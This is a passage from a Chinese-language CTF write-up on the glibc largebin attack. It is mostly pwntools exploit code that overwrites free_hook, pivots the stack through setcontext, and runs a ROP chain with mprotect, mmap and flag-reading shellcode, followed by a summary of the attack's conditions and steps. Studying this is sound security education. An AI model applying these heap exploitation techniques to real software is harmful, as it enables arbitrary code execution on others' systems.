fake_chunk = free_hook-0x10

payload = p64(0) + p64(fake_chunk)      # bk
edit(7,payload)


payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
payload2 += p64(0) + p64(fake_chunk+8)   
payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap

edit(9,payload2)
#gdb.attach(p)
add(0x40)#2

#rop
a = '''
mov esp,0x400100
push 0x67616c66
mov rdi,rsp
'''
shellcode = asm(a,arch='amd64',os='linux')    
shellcode += asm(shellcraft.amd64.syscall("SYS_open","rdi",'O_RDONLY', 0)+'mov rbx,rax',arch='amd64',os='linux')
shellcode += asm(shellcraft.amd64.syscall("SYS_read","rbx",0x400200,0x20),arch='amd64',os='linux')
shellcode += asm(shellcraft.amd64.syscall("SYS_write",1,0x400200,0x20),arch='amd64',os='linux')

p_rdi=0x0000000000021102+libc_base
p_rdx_rsi=0x00000000001150c9+libc_base
p_rcx_rbx=0x00000000000ea69a+libc_base
p_rsi = 0x00000000000202e8+libc_base
mprotect=libc.symbols['mprotect']+libc_base
setcontext = 0x47b75+libc_base
success('setcontext= {}'.format(hex(setcontext)))
mmap = libc.symbols['mmap']+libc_base
edit(2,p64(setcontext))

rop = p64(0)*5+p64(0xffffffff)+p64(0)#r8 r9
rop+= p64(0)*13
rop+= p64(heap+0x100)#mov rsp,[rdi+0xa0]
rop+= p64(p_rdi)#push rcx;ret
rop+= p64(heap)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(mprotect)
rop+= p64(p_rdi)+p64(0x400000)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(p_rcx_rbx)+p64(0x22)+p64(0)+p64(mmap)
rop+= p64(p_rcx_rbx)+p64(len(shellcode))+p64(0) + p64(p_rdi)+p64(0x400000) + p64(p_rsi)+p64(heap+0x1be)+p64(heap+0x1b0)
rop+= asm('''
rep movsd
push 0x400000
ret ''',arch='amd64',os='linux')+'\x00'
rop+= shellcode


edit(7,rop)
dele(7)
p.interactive()

通過(guò)上述對(duì)兩道題目的分析,我總結(jié)出largebin attack的一下利用條件或特點(diǎn)以及利用過(guò)程。

利用條件或特點(diǎn): 

1、需要對(duì)已經(jīng)free的堆塊進(jìn)行控制。通常需要off by null或者UAF這類漏洞存在。 

2、fastbin不可用。通常會(huì)出現(xiàn)mallopt(1,0)禁用fastbin。 

3、已知目標(biāo)地址。通常可以泄露libc來(lái)控制free_hook

利用過(guò)程: 

1、構(gòu)造unsortedbin和largebin兩個(gè)大堆塊,并且能控制bk和bk_nextsize指針    

2、將unsortedbin中的chunk的bk改為目標(biāo)地址 

3、將largebin中的chunk的bk改為目標(biāo)地址+8使其可寫 

4、將largebin中的chunk的bk_nextsize改為目標(biāo)地址-0x18-5錯(cuò)位寫入size以便構(gòu)造fake_chunk

以上就是怎樣剖析Largebin Attack,小編相信有部分知識(shí)點(diǎn)可能是我們?nèi)粘9ぷ鲿?huì)見(jiàn)到或用到的。希望你能通過(guò)這篇文章學(xué)到更多知識(shí)。更多詳情敬請(qǐng)關(guān)注億速云行業(yè)資訊頻道。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI